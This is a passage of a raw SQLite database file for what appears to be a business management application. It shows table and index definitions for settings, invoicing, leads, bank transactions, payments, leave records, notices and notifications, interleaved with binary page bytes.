VARCHAR(255) DEFAULT 'Asia/Kolkata' NOT NULL COLLATE "BINARY", date_format VARCHAR(255) DEFAULT 'd-m-Y' NOT NULL COLLATE "BINARY", date_picker_format VARCHAR(255) DEFAULT 'dd-mm-yyyy' NOT NULL COLLATE "BINARY", moment_format VARCHAR(255) DEFAULT 'DD-MM-YYYY' NOT NULL COLLATE "BINARY", time_format VARCHAR(255) DEFAULT 'h:i a' NOT NULL COLLATE "BINARY", locale VARCHAR(255) DEFAULT 'en' NOT NULL COLLATE "BINARY", latitude NUMERIC(10, 0) DEFAULT '26.9124336' NOT NULL, longitude NUMERIC(10, 0) DEFAULT '75.7872709' NOT NULL, leaves_start_from VARCHAR(255) DEFAULT 'joining_date' NOT NULL COLLATE "BINARY", active_theme VARCHAR(255) DEFAULT 'default' NOT NULL COLLATE "BINARY", google_map_key VARCHAR(255) DEFAULT NULL COLLATE "BINARY", task_self VARCHAR(255) DEFAULT 'yes' NOT NULL COLLATE "BINARY", rounded_theme BOOLEAN DEFAULT 1 NOT NULL, logo_background_color VARCHAR(255) DEFAULT '#ffffff' NOT NULL COLLATE "BINARY", before_days INTEGER NOT NULL, after_days INTEGER NOT NULL, on_deadline VARCHAR(255) DEFAULT 'yes' NOT NULL COLLATE "BINARY", dashboard_clock BOOLEAN DEFAULT 1 NOT NULL, ticket_form_google_captcha BOOLEAN DEFAULT 0 NOT NULL, lead_form_google_captcha BOOLEAN DEFAULT 0 NOT NULL, taskboard_length INTEGER DEFAULT 10 NOT NULL, allow_client_signup BOOLEAN NOT NULL, admin_client_signup_approval BOOLEAN NOT NULL, google_calendar_status VARCHAR(255) DEFAULT 'inactive' NOT NULL COLLATE "BINARY", google_client_id CLOB DEFAULT NULL COLLATE "BINARY", google_client_secret CLOB DEFAULT NULL COLLATE "BINARY", google_calendar_verification_status VARCHAR(255) DEFAULT 'non_verified' NOT NULL COLLATE "BINARY", google_id VARCHAR(255) DEFAULT NULL COLLATE "BINARY", name VARCHAR(255) DEFAULT NULL COLLATE "BINARY", token CLOB DEFAULT NULL COLLATE "BINARY", created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, status VARCHAR(255) DEFAULT 'active' NOT NULL COLLATE "BINARY", last_login DATETIME DEFAULT NULL, rtl BOOLEAN DEFAULT 0 NOT NULL, hash VARCHAR(255) DEFAULT NULL COLLATE "BINARY", "year_starts_from" varchar not null default '1', "show_new_webhook_alert" tinyint(1) not null default '0', "header_color" varchar not null default '#1D82F5', "pm_type" varchar, "pm_last_four" varchar, "datatable_row_limit" integer not null default '10', "auth_theme_text" varchar check ("auth_theme_text" in ('dark', 'light')) not null default 'dark', "employee_can_export_data" tinyint(1) not null default '1', "headers" text, "register_ip" varchar, "location_details" text, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (default_task_status) REFERENCES taskboard_columns (id) ON UPDATE CASCADE ON DELETE NO ACTION NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE)          gg A i 0 *?--/tableinvoice_settingsinvoice_settings CREATE TABLE "invoice_settings" ("id" integer primary key autoincrement not null, "company_id" integer, "invoice_prefix" varchar not null, "invoice_digit" integer not null default '3', "estimate_prefix" varchar not null default 'EST', "estimate_digit" integer not null default '3', "credit_note_prefix" varchar not null default 'CN', "credit_note_digit" integer not null default '3', "template" varchar not null, "due_after" integer not null, "invoice_terms" text not null, "estimate_terms" text, "gst_number" varchar, "show_gst" varchar check ("show_gst" in ('yes', 'no')) default 'no', "logo" varchar, "hsn_sac_code_show" tinyint(1) not null default '0', "locale" varchar default 'en', "send_reminder" integer not null default '0', "reminder" varchar check ("reminder" in ('after', 'every')), "send_reminder_after" integer not null default '0', "tax_calculation_msg" tinyint(1) not null default '0', "show_project" integer not null default '0', "show_client_name" varchar check ("show_client_name" in ('yes', 'no')) default 'no', "show_client_email" varchar check ("show_client_email" in ('yes', 'no')) default 'no', "show_client_phone" varchar check ("show_client_phone" in ('yes', 'no')) default 'no', "show_client_company_address" varchar check ("show_client_company_address" in ('yes', 'no')) default 'no', "show_client_company_name" varchar check ("show_client_company_name" in ('yes', 'no')) default 'no', "created_at" datetime, "updated_at" datetime, "invoice_number_separator" varchar not null default '#', "estimate_number_separator" varchar not null default '#', "credit_note_number_separator" varchar not null default '#', "contract_prefix" varchar not null default 'CONT', "contract_number_separator" varchar not null default '#', "contract_digit" integer not null default '3', "show_status" tinyint(1) not null default '1', "authorised_signatory" tinyint(1) not null default '0', "authorised_signatory_signature" varchar, "order_prefix" varchar not null default 'ODR', "order_number_separator" varchar not null default '#', "order_digit" integer not null default '3', "other_info" text, foreign key("company_id") references "companies"("id") on delete cascade on update cascade) etablejobsjobs'CREATE TABLE "jobs" ("id" integer primary key autoincrement not null, "queue" varchar not null, "payload" text not null, "attempts" integer not null, "reserved_at" integer, "available_at" integer not null, "created_at" integer not null)6 I#indexsqlite_autoindex_job_batches_1job_batches&a ##tablejob_batchesjob_batches%CREATE TABLE "job_batches" ("id" varchar not null, "name" varchar not null, "total_jobs" integer not null, "pending_jobs" integer not null, "failed_jobs" integer not null, "failed_job_ids" text not null, "options" text, "cancelled_at" integer, "created_at" integer not null, "finished_at" integer, primary key ("id"))p ?indexissues_project_id_foreignissues$CREATE INDEX "issues_project_id_foreign" on "issues" ("project_id")g 9indexissues_user_id_foreignissues#CREATE INDEX "issues_user_id_foreign" on "issues" ("user_id")Q{tableissuesissues"CREATE TABLE "issues" ("id" integer primary key autoincrement not null, "company_id" integer, "description" text not null, "user_id" integer, "project_id" integer, "status" varchar check ("status" in ('pending', 'resolved')) not null default 'pending', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("project_id") references "projects"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete SET NULL on update CASCADE)           g a T  tT  gP//Mtablelanguage_settingslanguage_settings-CREATE TABLE "language_settings" ("id" integer primary key autoincrement not null, "language_code" varchar not null, "language_name" varchar not null, "status" varchar check ("status" in ('enabled', 'disabled')) not null, "created_at" datetime, "updated_at" datetime, "flag_code" varchar)''utablelead_categorylead_category2CREATE TABLE "lead_category" ("id" integer primary key autoincrement not null, "company_id" integer, "category_name" varchar not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE)S#;indexlead_agents_last_updated_by_foreignlead_agents1CREATE INDEX "lead_agents_last_updated_by_foreign" on "lead_agents" ("last_updated_by")~E#indexlead_agents_added_by_foreignlead_agents0CREATE INDEX "lead_agents_added_by_foreign" on "lead_agents" ("added_by"){C#indexlead_agents_user_id_foreignlead_agents/CREATE INDEX "lead_agents_user_id_foreign" on "lead_agents" ("user_id")>##Atablelead_agentslead_agents.CREATE TABLE "lead_agents" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "status" varchar check ("status" in ('enabled', 'disabled')) not null default 'enabled', "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)S+;indexknowledge_bases_category_id_foreignknowledge_bases+CREATE INDEX "knowledge_bases_category_id_foreign" on "knowledge_bases" ("category_id")_/Sindexlead_custom_forms_last_updated_by_foreignlead_custom_forms8CREATE INDEX "lead_custom_forms_last_updated_by_foreign" on "lead_custom_forms" ("last_updated_by")Q/7indexlead_custom_forms_added_by_foreignlead_custom_forms7CREATE INDEX "lead_custom_forms_added_by_foreign" on "lead_custom_forms" ("added_by").a/Windexlead_custom_forms_custom_fields_id_foreignlead_custom_forms6CREATE INDEX "lead_custom_forms_custom_fields_id_foreign" on "lead_custom_forms" ("custom_fields_id")q//tablelead_custom_formslead_custom_forms5CREATE TABLE "lead_custom_forms" ("id" integer primary key autoincrement not null, "company_id" integer, "custom_fields_id" integer, "field_display_name" varchar not null, "field_name" varch ++Gtableknowledge_basesknowledge_bases*CREATE TABLE "knowledge_bases" ("id" integer primary key autoincrement not null, "company_id" integer, "to" varchar not null default 'employee', "heading" varchar, "category_id" integer, "description" text, "added_by" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("category_id") references "knowledge_categories"("id") on delete CASCADE on update CASCADE)D55)tableknowledge_categoriesknowledge_categories)CREATE TABLE "knowledge_categories" ("id" integer primary key autoincrement not null, "company_id" integer, "name" varchar not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)T-sindexjobs_queue_indexjobs(CREATE INDEX "jobs_queue_index" on "jobs" ("queue")              cdv b  gddddd{)))/tablelead_follow_uplead_follow_upECREATE TABLE "lead_follow_up" ("id" integer primary key autoincrement not null, "lead_id" integer not null, "remark" text, "next_follow_up_date" datetime, "added_by" integer, "last_updated_by" integer, "event_id" text, "send_reminder" varchar check ("send_reminder" in ('yes', 'no')) default 'no', "remind_time" text, "remind_type" varchar check ("remind_type" in ('minute', 'hour', 'day')), "created_at" datetime, "updated_at" datetime, "status" varchar, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("lead_id") references "leads"("id") on delete CASCADE on update CASCADE)Q!7indexlead_files_last_updated_by_foreigndeal_filesDCREATE INDEX "lead_files_last_updated_by_foreign" on "deal_files" ("last_updated_by")qC!indexlead_files_added_by_foreigndeal_filesCCREATE INDEX "lead_files_added_by_foreign" on "deal_files" ("added_by")A!indexlead_files_user_id_foreigndeal_filesBCREATE INDEX "lead_files_user_id_foreign" on "deal_files" ("user_id")zA!indexlead_files_lead_id_foreigndeal_filesACREATE INDEX "lead_files_lead_id_foreign" on "deal_files" ("lead_id")+_/Sindexlead_custom_forms_last_updated_by_foreignlead_custom_forms8CREATE INDEX "lead_custom_forms_last_updated_by_foreign" on "lead_custom_forms" ("last_updated_by")Q/7indexlead_custom_forms_added_by_foreignlead_custom_forms7CREATE INDEX "lead_custom_forms_added_by_foreign" on "lead_custom_forms" ("added_by").a/Windexlead_custom_forms_custom_fields_id_foreignlead_custom_forms6CREATE INDEX "lead_custom_forms_custom_fields_id_foreign" on "lead_custom_forms" ("custom_fields_id")q//tablelead_custom_formslead_custom_forms5CREATE TABLE "lead_custom_forms" ("id" integer primary key autoincrement not null, "company_id" integer, "custom_fields_id" integer, "field_display_name" varchar not null, "field_name" varchar not null, "field_order" integer not null, "status" varchar check ("status" in ('active', 'inactive')) not null default 'active', "required" tinyint(1) not null default '0', "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("custom_fields_id") references "custom_fields"("id") on delete CASCADE on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE)W'Cindexlead_category_last_updated_by_foreignlead_category4CREATE INDEX "lead_category_last_updated_by_foreign" on "lead_category" ("last_updated_by")I''indexlead_category_added_by_foreignlead_category3CREATE INDEX "lead_category_added_by_foreign" on "lead_category" ("added_by")      6 Sn$ 4Dv`5/tb5/indexIDX_2A30FD57699B6BAFbank_transactionsCREATE INDEX IDX_2A30FD57699B6BAF ON bank_transactions (added_by)va5/indexIDX_2A30FD57F395DB7Bbank_transactionsCREATE INDEX IDX_2A30FD57F395DB7B ON bank_transactions (expense_id)v`5/indexIDX_2A30FD572989F1FDbank_transactionsCREATE INDEX IDX_2A30FD572989F1FD ON bank_transactions (invoice_id)t_3/indexIDX_2A30FD574C3A3BBbank_transactionsCREATE INDEX IDX_2A30FD574C3A3BB ON bank_transactions (payment_id)F\//9tablebank_transactionsbank_transactionsCREATE TABLE bank_transactions (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, bank_account_id INTEGER DEFAULT NULL, payment_id INTEGER DEFAULT NULL, invoice_id INTEGER DEFAULT NULL, expense_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, amount DOUBLE PRECISION DEFAULT NULL, type VARCHAR(255) DEFAULT 'Cr' NOT NULL, memo CLOB DEFAULT NULL, transaction_relation VARCHAR(255) DEFAULT NULL, transaction_related_to VARCHAR(255) DEFAULT NULL, title CLOB DEFAULT NULL, transaction_date DATE DEFAULT NULL, bank_balance DOUBLE PRECISION DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (bank_account_id) REFERENCES bank_accounts (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (payment_id) REFERENCES payments (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (invoice_id) REFERENCES invoices (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (expense_id) REFERENCES expenses (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE)s[5'indexIDX_FB88842BFF8A180Bbank_accountsCREATE INDEX IDX_FB88842BFF8A180B ON bank_accounts (last_updated_by)lZ5'indexIDX_FB88842B699B6BAFbank_accountsCREATE INDEX IDX_FB88842B699B6BAF ON bank_accounts (added_by)oY5' indexIDX_FB88842B38248176bank_accountsCREATE INDEX IDX_FB88842B38248176 ON bank_accounts (currency_id)nX5' indexIDX_FB88842B979B1AD6bank_accountsCREATE INDEX IDX_FB88842B979B1AD6 ON bank_accounts (company_id)0W''tablebank_accountsbank_accountsCREATE TABLE bank_accounts (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, type VARCHAR(255) DEFAULT NULL, bank_name VARCHAR(255) DEFAULT NULL, account_name VARCHAR(255) DEFAULT NULL, account_number VARCHAR(255) DEFAULT NULL, account_type VARCHAR(255) DEFAULT NULL, contact_number VARCHAR(255) DEFAULT NULL, opening_balance DOUBLE PRECISION DEFAULT NULL, bank_logo VARCHAR(255) DEFAULT NULL, status BOOLEAN DEFAULT NULL, bank_balance DOUBLE PRECISION DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE)5;indexIDX_E9CADA6A979{^5/indexIDX_2A30FD5712CB990Cbank_transactionsCREATE INDEX IDX_2A30FD5712CB990C ON bank_transactions (bank_account_id)v]5/indexIDX_2A30FD57979B1AD6bank_transactionsCREATE INDEX IDX_2A30FD57979B1AD6 ON bank_transactions (company_id)     > P\jt<33d 5indexIDX_65D29B32979B1AD6payments CREATE INDEX IDX_65D29B32979B1AD6 ON payments (company_id)r Cindexpayments_project_id_foreignpaymentsCREATE INDEX payments_project_id_foreign ON payments (project_id)r Cindexpayments_invoice_id_foreignpaymentsCREATE INDEX payments_invoice_id_foreign ON payments (invoice_id)l ?indexpayments_order_id_foreignpaymentsCREATE INDEX payments_order_id_foreign ON payments (order_id) Ml ?indexpayments_order_id_foreignpaymentsCREATE INDEX payments_order_id_foreign ON payments (order_id) M#indexpayments_credit_notes_id_foreignpaymentsCREATE INDEX payments_credit_notes_id_foreign ON payments (credit_notes_id)n;indexpayments_plan_id_uniquepaymentsCREATE UNIQUE INDEX payments_plan_id_unique ON payments (plan_id)d9indexpayments_paid_on_indexpaymentsCREATE INDEX payments_paid_on_index ON payments (paid_on)Q+indexpayments_offline_method_id_foreignpaymentsCREATE INDEX payments_offline_method_id_foreign ON payments (offline_method_id)l?indexpayments_added_by_foreignpaymentsCREATE INDEX payments_added_by_foreign ON payments (added_by)M#indexpayments_last_updated_by_foreignpaymentsCREATE INDEX payments_last_updated_by_foreign ON payments (last_updated_by)SAindexpayments_event_id_company_id_uniquepaymentsCREATE UNIQUE INDEX payments_event_id_company_id_unique ON payments (event_id, company_id)%_Yindexpayments_transaction_id_company_id_uniquepaymentsCREATE UNIQUE INDEX payments_transaction_id_company_id_unique ON payments (transaction_id, company_id)*%tablepaymentspaymentsCREATE TABLE payments (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, project_id INTEGER DEFAULT NULL, invoice_id INTEGER DEFAULT NULL, order_id INTEGER DEFAULT NULL, credit_notes_id INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, offline_method_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, amount DOUBLE PRECISION NOT NULL, gateway VARCHAR(255) DEFAULT NULL, transaction_id VARCHAR(255) DEFAULT NULL, plan_id VARCHAR(255) DEFAULT NULL, customer_id VARCHAR(255) DEFAULT NULL, event_id VARCHAR(255) DEFAULT NULL, status VARCHAR(255) DEFAULT 'pending' NOT NULL, paid_on DATETIME DEFAULT NULL, remarks CLOB DEFAULT NULL, bill VARCHAR(255) DEFAULT NULL, payment_gateway_response CLOB DEFAULT NULL, payload_id VARCHAR(255) DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, bank_account_id INTEGER DEFAULT NULL, default_currency_id INTEGER DEFAULT NULL, exchange_rate DOUBLE PRECISION DEFAULT NULL, quickbooks_payment_id INTEGER DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (credit_notes_id) REFERENCES credit_notes (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (invoice_id) REFERENCES invoices (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (offline_method_id) REFERENCES offline_payment_methods (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (order_id) REFERENCES orders (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (project_id) REFERENCES projects (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)J5{indexIDX_17904552979B1AD6leadsCREATE INDEX IDX_17904552979B1AD6uEindexpayments_currency_id_foreignpaymentsCREATE INDEX payments_currency_id_foreign ON payments (currency_id)   CCBA@ "~ 6:U+?indexlead_user_notes_lead_note_id_foreignlead_user_notesWCREATE INDEX "lead_user_notes_lead_note_id_foreign" on "lead_user_notes" ("lead_note_id")4G%#indexlead_sources_added_by_foreignlead_sourcesQCREATE INDEX "lead_sources_added_by_foreign" on "lead_sources" ("added_by")4~=%indexlead_sources_type_uniquelead_sourcesPCREATE UNIQUE INDEX "lead_sources_type_unique" on "lead_sources" ("type")2%%atablelead_sourceslead_sourcesOCREATE TABLE "lead_sources" ("id" integer primary key autoincrement not null, "company_id" integer, "type" varchar not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE) Q!7indexlead_notes_last_updated_by_foreignlead_notesNCREATE INDEX "lead_notes_last_updated_by_foreign" on "lead_notes" ("last_updated_by") C!indexlead_notes_added_by_foreignlead_notesMCREATE INDEX "lead_notes_added_by_foreign" on "lead_notes" ("added_by") E!indexlead_notes_member_id_foreignlead_notesLCREATE INDEX "lead_notes_member_id_foreign" on "lead_notes" ("member_id") A!indexlead_notes_lead_id_foreignlead_notesKCREATE INDEX "lead_notes_lead_id_foreign" on "lead_notes" ("lead_id") !!ktablelead_noteslead_notesJCREATE TABLE "lead_notes" ("id" integer primary key autoincrement not null, "lead_id" integer, "title" varchar not null, "type" tinyint(1) not null default '0', "member_id" integer, "is_lead_show" tinyint(1) not null default '0', "ask_password" tinyint(1) not null default '0', "details" varchar not null, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("lead_id") references "leads"("id") on delete CASCADE on update CASCADE, foreign key("member_id") references "users"("id") on delete CASCADE on update CASCADE),Y)Gindexlead_follow_up_last_updated_by_foreignlead_follow_upICREATE INDEX "lead_follow_up_last_updated_by_foreign" on "lead_follow_up" ("last_updated_by") +K)+indexlead_follow_up_added_by_foreignlead_follow_upHCREATE INDEX "lead_follow_up_added_by_foreign" on "lead_follow_up" ("added_by")*I)'indexlead_follow_up_lead_id_foreignlead_follow_upFCREATE INDEX "lead_follow_up_lead_id_foreign" on "lead_follow_up" ("lead_id") P); 9K++indexlead_user_notes_user_id_foreignlead_user_notesVCREATE INDEX "lead_user_notes_user_id_foreign" on "lead_user_notes" ("user_id")8++ktablelead_user_noteslead_user_notesUCREATE TABLE "lead_user_notes" ("id" integer primary key autoincrement not null, "user_id" integer not null, "lead_note_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("lead_note_id") references "lead_notes"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)z;#indexlead_status_type_uniquelead_statusTCREATE UNIQUE INDEX "lead_status_type_unique" on "lead_status" ("type")6##stablelead_statuslead_statusSCREATE TABLE "lead_status" ("id" integer primary key autoincrement not null, "company_id" integer, "type" varchar not null, "priority" integer not null, "default" tinyint(1) not null, "label_color" varchar not null default '#ff0000', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)5U%?indexlead_sources_last_updated_by_foreignlead_sourcesRCREATE INDEX "lead_sources_last_updated_by_foreign" on "lead_sources" ("last_updated_by")       MLKJ           N h> FN  rB%%%tablelog_time_forlog_time_for`CREATE TABLE "log_time_for" ("id" integer primary key autoincrement not null, "company_id" integer, "log_time_for" varchar check ("log_time_for" in ('project', 'task')) not null default 'project', "auto_timer_stop" varchar check ("auto_timer_stop" in ('yes', 'no')) not null default 'no', "approval_required" tinyint(1) not null, "created_at" datetime, "updated_at" datetime, "tracker_reminder" tinyint(1) not null, "time" time, "timelog_report" tinyint(1) not null, "daily_report_roles" varchar, foreign key("company_id") references "companies"("id") on delete cascade on update cascade);]tableleavesleavesXCREATE TABLE "leaves" ("id" integer primary key autoincrement not null, "company_id" integer, "user_id" integer not null, "leave_type_id" integer not null, "duration" varchar not null, "leave_date" date not null, "reason" text not null, "status" varchar check ("status" in ('approved', 'pending', 'rejected')) not null, "reject_reason" text, "paid" tinyint(1) not null default '0', "added_by" integer, "last_updated_by" integer, "event_id" text, "approved_by" integer, "approved_at" datetime, "half_day_type" varchar, "created_at" datetime, "updated_at" datetime, "manager_status_permission" varchar check ("manager_status_permission" in ('pre-approve', 'approved')), "approve_reason" text, "unique_id" varchar, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("approved_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("leave_type_id") references "leave_types"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE):U+?indexlead_user_notes_lead_note_id_foreignlead_user_notesWCREATE INDEX "lead_user_notes_lead_note_id_foreign" on "lead_user_notes" ("lead_note_id") 9K++indexlead_user_notes_user_id_foreignlead_user_notesVCREATE INDEX "lead_user_notes_user_id_foreign" on "lead_user_notes" ("user_id")EtablemenusmenuscCREATE TABLE "menus" ("id" integer primary key autoincrement not null, "menu_name" varchar not null, "translate_name" varchar, "route" varchar, "module" varchar, "icon" varchar, "setting_menu" tinyint(1), "created_at" datetime, "updated_at" datetime)D''Atablemenu_settingsmenu_settingsbCREATE TABLE "menu_settings" ("id" integer primary key autoincrement not null, "main_menu" text, "default_main_menu" text, "setting_menu" text, "default_setting_menu" text, "created_at" datetime, "updated_at" datetime)/C--tableltm_translationsltm_translationsaCREATE TABLE "ltm_translations" ("id" integer primary key autoincrement not null, "status" integer not null default '0', "locale" varchar not null, "group" varchar not null, "key" varchar not null, "value" text, "created_at" datetime, "updated_at" datetime)sAAindexleaves_approved_by_foreignleaves_CREATE INDEX "leaves_approved_by_foreign" on "leaves" ("approved_by")@I'indexleaves_last_updated_by_foreignleaves^CREATE INDEX "leaves_last_updated_by_foreign" on "leaves" ("last_updated_by")j?; indexleaves_added_by_foreignleaves]CREATE INDEX "leaves_added_by_foreign" on "leaves" ("added_by")l>;indexleaves_leave_date_indexleaves\CREATE INDEX "leaves_leave_date_index" on "leaves" ("leave_date")y=Eindexleaves_leave_type_id_foreignleaves[CREATE INDEX "leaves_leave_type_id_foreign" on "leaves" ("leave_type_id")g<9indexleaves_user_id_foreignleavesZCREATE INDEX "leaves_user_id_foreign" on "leaves" ("user_id")             :: ]lw F--1tablemessage_settingsmessage_settingsdCREATE TABLE "message_settings" ("id" integer primary key autoincrement not null, "company_id" integer, "allow_client_admin" varchar check ("allow_client_admin" in ('yes', 'no')) not null default 'no', "allow_client_employee" varchar check ("allow_client_employee" in ('yes', 'no')) not null default 'no', "restrict_client" varchar check ("restrict_client" in ('yes', 'no')) not null default 'no', "created_at" datetime, "updated_at" datetime, "send_sound_notification" tinyint(1) not null default '0', foreign key("company_id") references "companies"("id") on delete cascade on update cascade)#M%%tablenotice_viewsnotice_viewslCREATE TABLE "notice_views" ("id" integer primary key autoincrement not null, "company_id" integer, "notice_id" integer not null, "user_id" integer not null, "read" tinyint(1) not null default '0', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("notice_id") references "notices"("id") on delete CASCADE on update CASCADE, foreign key("user_id") references "users"("id") on delete CASCADE on update CASCADE)LK+indexnotices_last_updated_by_foreignnoticeskCREATE INDEX "notices_last_updated_by_foreign" on "notices" ("last_updated_by")nK=indexnotices_added_by_foreignnoticesjCREATE INDEX "notices_added_by_foreign" on "notices" ("added_by")}JG#indexnotices_department_id_foreignnoticesiCREATE INDEX "notices_department_id_foreign" on "notices" ("department_id")6IAtablenoticesnoticeshCREATE TABLE "notices" ("id" integer primary key autoincrement not null, "company_id" integer, "to" varchar not null default 'employee', "heading" varchar not null, "description" text, "department_id" integer, "added_by" integer, "last_updated_by" integer, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade, foreign key("added_by") references "users"("id") on delete SET NULL on update CASCADE, foreign key("department_id") references "teams"("id") on delete CASCADE on update CASCADE, foreign key("last_updated_by") references "users"("id") on delete SET NULL on update CASCADE)IHgtablemodulesmodulesgCREATE TABLE "modules" ("id" integer primary key autoincrement not null, "module_name" varchar not null, "description" varchar, "created_at" datetime, "updated_at" datetime)]G++otablemodule_settingsmodule_settingseCREATE TABLE "module_settings" ("id" integer primary key autoincrement not null, "company_id" integer, "module_name" varchar not null, "status" varchar check ("status" in ('active', 'deactive')) not null, "type" varchar check ("type" in ('admin', 'employee', 'client')) not null default 'admin', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)DRo'}indexnotifications_notifiable_type_notifiable_id_indexnotificationsqCREATE INDEX "notifications_notifiable_type_notifiable_id_index" on "notifications" ("notifiable_type", "notifiable_id"):QM'indexsqlite_autoindex_notifications_1notificationsp'P'' tablenotificationsnotificationsoCREATE TABLE "notifications" ("id" varchar not null, "type" varchar not null, "notifiable_type" varchar not null, "notifiable_id" integer not null, 